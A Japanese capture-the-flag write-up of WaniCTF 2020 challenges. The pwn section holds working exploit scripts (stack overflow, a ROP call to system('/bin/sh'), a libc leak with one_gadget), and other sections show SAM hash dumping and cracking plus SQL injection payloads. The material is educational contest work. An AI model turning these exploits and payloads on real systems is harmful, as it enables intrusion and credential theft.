11/21-23 に開催された WaniCTF 2020 に参加しました。初心者向けの問題が多く、気軽に解けて楽しかったです。 結果は 10th / 229 でした。初めての top10 です。グラフにも名前が載ってちょっと嬉しい。
pwn のボス問であるヒープ問だけ解けなかったのですが、現在精進中なのでやむなし… 難易度 Normal 以上の問題について writeup を書きます。
Crypto
Basic RSA
計算するだけでした。
1問目 が与えられているので を計算。
2問目 が与えられているので を計算。
3問目 が与えられているので、 の法のもとで を計算、つづいて を計算。
FLAG{y0uv3_und3rst00d_t3xtb00k_RSA}
LCG crack
線形合同法の問題。 https://mitsu-mitsu.hatenablog.com/entry/2019/03/11/210128 を参考にし、愚直に実装しました。
from functools import reduce
from Crypto.Util.number import *
from pwn import *
p = remote("lcg.wanictf.org", 50001)
def generate():
p.sendlineafter("> ", "1")
return int(p.recvline().strip())
N = 8
numbers = [generate() for _ in range(N)]
diffs = [numbers[i + 1] - numbers[i] for i in range(len(numbers) - 1)]
m_multi = []
for i in range(N - 3):
m_multi.append(diffs[i + 0] * diffs[i + 2] - diffs[i + 1] * diffs[i + 1])
m = reduce(GCD, m_multi)
diff0_inv = inverse(diffs[0], m)
a = diffs[1] * diff0_inv % m
b = (numbers[1] - a * numbers[0]) % m
class RNG:
def __init__(self, seed, a, b, m):
self.a = a
self.b = b
self.m = m
self.x = seed % m
def next(self):
self.x = (self.a * self.x + self.b) % self.m
return self.x
rng = RNG(numbers[-1], a, b, m)
p.sendlineafter("> ", "2")
for _ in range(10):
p.sendlineafter("> ", str(rng.next()))
p.interactive()
FLAG{y0u_sh0uld_buy_l0tt3ry_t1ck3ts}
l0g0n
おそらく出題ミス? Challenge や Credential に対して何も与えない (enter を押すだけ) でフラグが得られました。
FLAG{4_b@d_IV_leads_t0_CVSS_10.0__z3r01090n}
Forensics
ALLIGATOR_02
基本的に https://github.com/volatilityfoundation/volatility/wiki/Command-Reference を参考にしてコマンドを探しました。
volatility -f ALLIGATOR.raw imageinfo
で profile をサジェストしてもらい (Win7SP1x86_23418
を選んだ)、volatility -f ALLIGATOR.raw --profile=Win7SP1x86_23418 consoles
で
C:\Users\ALLIGATOR>type C:\Users\ALLIGATOR\Desktop\flag.txt
FLAG{y0u_4re_c0n50les_master}
という操作がされているのが確認できました。
ALLIGATOR_03
https://samsclass.info/121/proj/p4-Volatility.htm を参考にしました。
volatility -f ALLIGATOR.raw --profile=Win7SP1x86_23418 hivelist
で \REGISTRY\MACHINE\SYSTEM が 0x8781a008 \SystemRoot\System32\Config\SAM が 0x93791458 にあることを確認。volatility -f ALLIGATOR.raw --profile=Win7SP1x86_23418 hashdump -y 0x8781a008 -s 0x93791458
でALLIGATOR:1003:aad3b435b51404eeaad3b435b51404ee:5e7a211fee4f7249f9db23e4a07d7590:::
のユーザーデータを入手- https://crackstation.net/ で
5e7a211fee4f7249f9db23e4a07d7590
を復元。 password がilovewani
であることがわかる。 - zip を以上の password で解凍
FLAG{The_Machikane_Crocodylidae}
zero size png
IHDR のサイズ情報が 0 埋めされてしまっている画像データが渡されるので、そのサイズを復元する問題。 ファイルの容量から考えると 1000x1000 以下のサイズになりそうだったため、全サイズに対して IHDR チャンクの CRC が正しい値になるものを探し、その値を画像に書き込みました。
import binascii
from Crypto.Util.number import *
with open("./dyson.png", "rb") as f:
buf = f.read()
crc = buf[29: 33]
for i in range(1000):
for j in range(1000):
tmp = buf[12: 16] + long_to_bytes(i).rjust(4, b"\x00") + long_to_bytes(j).rjust(4, b"\x00") + buf[24: 29]
if crc == long_to_bytes(binascii.crc32(tmp)):
print(hex(i), hex(j))
FLAG{Cyclic_Redundancy_CAT}
Misc
MQTT Challenge
適当にググると、 #
で全トピックをサブスクライブできることがわかったため、全部を垂れ流しました。ダミーフラグも何個かありましたが、 /top/secret/himitu/daiji/mitara/dame/zettai/flag
のトピックから正しいフラグが流れてきました。
FLAG{mq77_w1ld_c4rd!!!!_af5e29cb23}
Pwn
ret rewrite
サンプルコードがあってとても親切。 return address を over flow で書き換える問題でした。
import pwn
io = pwn.remote("ret.wanictf.org", 9005)
ret = io.readuntil("What's your name?: ")
addr = 0x00400838
s = b"A" * 22
s += pwn.p64(addr)
io.send(s)
io.interactive()
FLAG{1earning-how-return-address-w0rks-on-st4ck}
rop func call
ROP で system("/bin/sh", 0)
を呼ぶ問題。 pwntools の ROP は便利。
from pwn import *
p = remote("rop.wanictf.org", 9006)
elf = ELF("./pwn06")
context.binary = elf
payload = b""
payload += b"A"*22
rop = ROP(elf)
rop.call("system", [elf.symbols["binsh"], 0])
payload += rop.chain()
print(rop.dump())
p.sendlineafter("name?: ", payload)
p.interactive()
FLAG{learning-rop-and-x64-system-call}
one gadget rce
ROP で、
- puts 関数の libc アドレスを puts で表示
- main 関数に戻る
one_gadget libc-2.27.so
で0x4f432
が /bin/sh として使えそうなことがわかったため、そこへ飛ぶ
ということをやりました。
from pwn import *
p = remote("rce.wanictf.org", 9007)
elf = ELF("./pwn07")
context.binary = elf
libc = ELF("./libc-2.27.so")
payload = b""
offset = b"A" * 22
payload += offset
rop = ROP(elf)
rop.raw(rop.find_gadget(["pop rdi", "ret"]))
rop.raw(elf.got["puts"])
rop.raw(elf.plt["puts"])
rop.call("main")
print(rop.dump())
p.sendlineafter(b"name?: ", payload+rop.chain())
p.recvuntil("dump***\n\n")
puts_libc_address = p.recvline().strip()
puts_libc_address = unpack(puts_libc_address.ljust(8, b"\x00"))
rce_address = puts_libc_address - libc.symbols["puts"] + 0x4f432
p.sendlineafter(b"name?: ", offset+pack(rce_address))
p.interactive()
FLAG{mem0ry-1eak-4nd-0ne-gadget-rem0te-ce}
Reversing
simple
radare2 で main 関数をのぞくと、 flag を local 変数に直接代入しているのが見えました。
FLAG{5imp1e_Revers1ng_4rray_5trings}
complex
check
関数が main 関数から 20回呼び出され、i回目の呼び出し時に check_i
が呼ばれます。
check
関数の返り値が 0 ならば続行、 1 ならば Incorrect、 2 ならば Correct です。
check_i
関数をそれぞれみていくと、 check_13
だけ返り値が 2 だったため、これについて詳細に見ました。
動作を追っていくと、 FLAG xor KEY = VALUE となるかをチェックしていることがわかったので、 KEY と VALUE に当たる値を gdb を動かして取ってきて、 FLAG を計算させました。
from Crypto.Util.number import *
key_13 = [0x37, 0x36, 0x33, 0x31, 0x34, 0x39, 0x31, 0x31,
0x35, 0x32, 0x39, 0x37, 0x38, 0x31, 0x35, 0x34,
0x36, 0x36, 0x34, 0x36, 0x38, 0x31, 0x35, 0x36,
0x34, 0x33, 0x35, 0x31, 0x31, 0x30, 0x34, 0x38,
0x35, 0x34, 0x32, 0x34, 0x37, 0x00, 0x00, 0x00,
0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00,
0xb0, 0xd7, 0xff, 0xff, 0xff, 0x7f, 0x00, 0x00,
0x36, 0x5b, 0x55, 0x55, 0x55, 0x55, 0x00, 0x00]
check_13 = [0x53, 0x5f, 0x57, 0x6e, 0x4d, 0x56, 0x44, 0x6e,
0x47, 0x57, 0x58, 0x5b, 0x54, 0x48, 0x6a, 0x57,
0x5e, 0x53, 0x57, 0x5d, 0x67, 0x45, 0x5d, 0x53,
0x6b, 0x41, 0x50, 0x45, 0x44, 0x42, 0x5a, 0x67,
0x43, 0x55, 0x5e, 0x41, 0x52, 0x00, 0x00, 0x00,
0x00, 0x01, 0x00, 0x00, 0x40, 0x00, 0x00, 0x00,
0x37, 0x36, 0x33, 0x31, 0x34, 0x39, 0x31, 0x31,
0x35, 0x32, 0x39, 0x37, 0x38, 0x31, 0x35, 0x34]
ans = []
for k, c in zip(key_13, check_13):
ans.append(long_to_bytes(k ^ c))
print(b"".join(ans[: 43-6]))
FLAG{did_you_really_check_the_return_value}
static
解析しようとしてもとても読みづらくなっています… ヒントにある通り strings でみると、 upx が使われていることがわかりました。 upx -d static
をしたあとで解析していきます。
strip されているのでちょっとやりづらいですが、基本的には “complex” の問題と同じようなことがされていることがわかります。なので↑の writeup と同様に gdb で動かしつつ必要な値を持ってきて xor を計算させました。
from Crypto.Util.number import *
key = [0xb9, 0xd9, 0xc1, 0x63, 0xd1, 0x1b, 0x3f, 0x38,
0xa4, 0xdd, 0x07, 0x41, 0xea, 0x1f, 0x84, 0x34,
0x0c, 0xf5, 0xbd, 0x3e, 0xeb, 0x55, 0x56, 0x31,
0x3a, 0x05, 0xef, 0x4d, 0x26, 0xeb, 0xfd, 0x1b,
0xca, 0x8f, 0x11, 0x24, 0x9c, 0x98, 0x22, 0x27,
0x83, 0xb5, 0xbc, 0x7a, 0x05, 0x63, 0x46, 0x09,
0x61, 0xb0, 0x99, 0x77, 0xc3, 0x89, 0x22, 0x17,
0xfc, 0x25, 0x1a, 0x40, 0x89, 0x61, 0xce, 0x39,
0xc1, 0x69, 0xec, 0x56, 0xd2, 0x1f, 0x6f, 0x10,
0xb6, 0x40, 0xfc, 0x77, 0xc2, 0xae, 0x28, 0x48,
0x83, 0xba, 0x52, 0x22, 0xa2, 0x5d, 0x93, 0x45,
0xfe, 0xbd, 0x65, 0x75, 0x9f, 0x40, 0xe2, 0x5a,
0x72, 0xd6, 0xed, 0x20, 0x35, 0x24, 0x36, 0x47,
0xb5, 0xfc, 0x61, 0x0b, 0xde, 0x07, 0x76, 0x7c,
0x0d, 0x73, 0xf7, 0x6c, 0x8a, 0x62, 0x22, 0x52,
0xa8, 0x31, 0xe1, 0x5e, 0xc6, 0x4c, 0xb9, 0x50,
0x5b, 0x7e, 0x61, 0x0a, 0x4c, 0x0f, 0xe9, 0x1f,
0xb0, 0x6c, 0x3d, 0x05, 0x68, 0x73, 0x1f, 0x49,
0x37, 0x65, 0x3f, 0x51, 0xea, 0x71, 0x2c, 0x53,
0x8e, 0x5e, 0x1d, 0x65, 0x02, 0xf5, 0x50, 0x75,
0x87, 0x0a, 0x4f, 0x7a, 0x11, 0x14, 0xda, 0x5f,
0x07, 0x58, 0x97, 0x7e, 0xe8, 0xba, 0xe8, 0x71,
0xd4, 0x9d, 0xfc, 0x76, 0x04, 0x7e, 0xb1, 0x3e,
0x71, 0x1c, 0xb7, 0x2b, 0x96, 0x07, 0xe9, 0x4d,
0x00, 0x00, 0x04, 0x00, 0x00, 0x00, 0x00, 0x00,
0x00, 0x07, 0x5d, 0x58, 0xd5, 0x55, 0xda, 0x1e,
0x10, 0xd8, 0xff, 0xff, 0xff, 0x7f, 0x00, 0x00,
0xd9, 0x0f, 0x40, 0x00, 0x00, 0x00, 0x00, 0x00,
0x41, 0x41, 0x41, 0x41, 0x41, 0x41, 0x41, 0x41,
0x41, 0x41, 0x41, 0x41, 0x41, 0x41, 0x41, 0x41,
0x41, 0x41, 0x41, 0x41, 0x41, 0x41, 0x41, 0x41,
0x41, 0x41, 0x41, 0x41, 0x41, 0x41, 0x41, 0x41]
check = [0xcb, 0xd9, 0xc1, 0x63, 0xb2, 0x1b, 0x3f, 0x38,
0x90, 0xdd, 0x07, 0x41, 0xb5, 0x1f, 0x84, 0x34,
0x38, 0xf5, 0xbd, 0x3e, 0x85, 0x55, 0x56, 0x31,
0x5e, 0x05, 0xef, 0x4d, 0x79, 0xeb, 0xfd, 0x1b,
0xf9, 0x8f, 0x11, 0x24, 0xe8, 0x98, 0x22, 0x27,
0xe2, 0xb5, 0xbc, 0x7a, 0x71, 0x63, 0x46, 0x09,
0x08, 0xb0, 0x99, 0x77, 0xa0, 0x89, 0x22, 0x17,
0xa3, 0x25, 0x1a, 0x40, 0xb8, 0x61, 0xce, 0x39,
0xa8, 0x69, 0xec, 0x56, 0xbc, 0x1f, 0x6f, 0x10,
0xdd, 0x40, 0xfc, 0x77, 0x9d, 0xae, 0x28, 0x48,
0xb7, 0xba, 0x52, 0x22, 0xcc, 0x5d, 0x93, 0x45,
0x9a, 0xbd, 0x65, 0x75, 0xc0, 0x40, 0xe2, 0x5a,
0x01, 0xd6, 0xed, 0x20, 0x02, 0x24, 0x36, 0x47,
0xc7, 0xfc, 0x61, 0x0b, 0xb7, 0x07, 0x76, 0x7c,
0x7d, 0x73, 0xf7, 0x6c, 0xfa, 0x62, 0x22, 0x52,
0x9b, 0x31, 0xe1, 0x5e, 0xa2, 0x4c, 0xb9, 0x50,
0x04, 0x7e, 0x61, 0x0a, 0x3c, 0x0f, 0xe9, 0x1f,
0x81, 0x6c, 0x3d, 0x05, 0x1d, 0x73, 0x1f, 0x49,
0x44, 0x65, 0x3f, 0x51, 0xb5, 0x71, 0x2c, 0x53,
0xfb, 0x5e, 0x1d, 0x65, 0x72, 0xf5, 0x50, 0x75,
0xff, 0x0a, 0x4f, 0x7a, 0x4e, 0x14, 0xda, 0x5f,
0x77, 0x58, 0x97, 0x7e, 0x89, 0xba, 0xe8, 0x71,
0xb7, 0x9d, 0xfc, 0x76, 0x6f, 0x7e, 0xb1, 0x3e,
0x42, 0x1c, 0xb7, 0x2b, 0xf2, 0x07, 0xe9, 0x4d,
0xb9, 0xd9, 0xc1, 0x63, 0xd1, 0x1b, 0x3f, 0x38,
0xa4, 0xdd, 0x07, 0x41, 0xea, 0x1f, 0x84, 0x34,
0x0c, 0xf5, 0xbd, 0x3e, 0xeb, 0x55, 0x56, 0x31,
0x3a, 0x05, 0xef, 0x4d, 0x26, 0xeb, 0xfd, 0x1b,
0xca, 0x8f, 0x11, 0x24, 0x9c, 0x98, 0x22, 0x27,
0x83, 0xb5, 0xbc, 0x7a, 0x05, 0x63, 0x46, 0x09,
0x61, 0xb0, 0x99, 0x77, 0xc3, 0x89, 0x22, 0x17,
0xfc, 0x25, 0x1a, 0x40, 0x89, 0x61, 0xce, 0x39]
ans = []
for k, c in zip(key, check):
ans += chr(k ^ c)
print(f'FLAG{{{"".join(ans[:48*4:4])}}}')
FLAG{rc4_4nd_3tatic_1ink_4nd_s7ripp3d_p1us_upx_pack3d}
Web
SQL Challenge 1
space が使えないので、変わりに ” で括ってあげました。
https://sql1.wanictf.org/index.php?year="2011"OR"1"
で全データが出力されます。
FLAG{53cur3_5ql_a283b4dffe}
SQL Challenge 2
英数字のみしか許容されていない SQLi の問題で、 hex や base64 を使うのかなとずっと悩んでいたけれどその方針ではできませんでした。 year=0 とすると、 year が数字となっていないデータはキャストで0にされるらしく、フラグが表示されました。 year が数字になっていなかったらどうすればよかったのだろう…
FLAG{5ql_ch4r_cf_ca87b27723}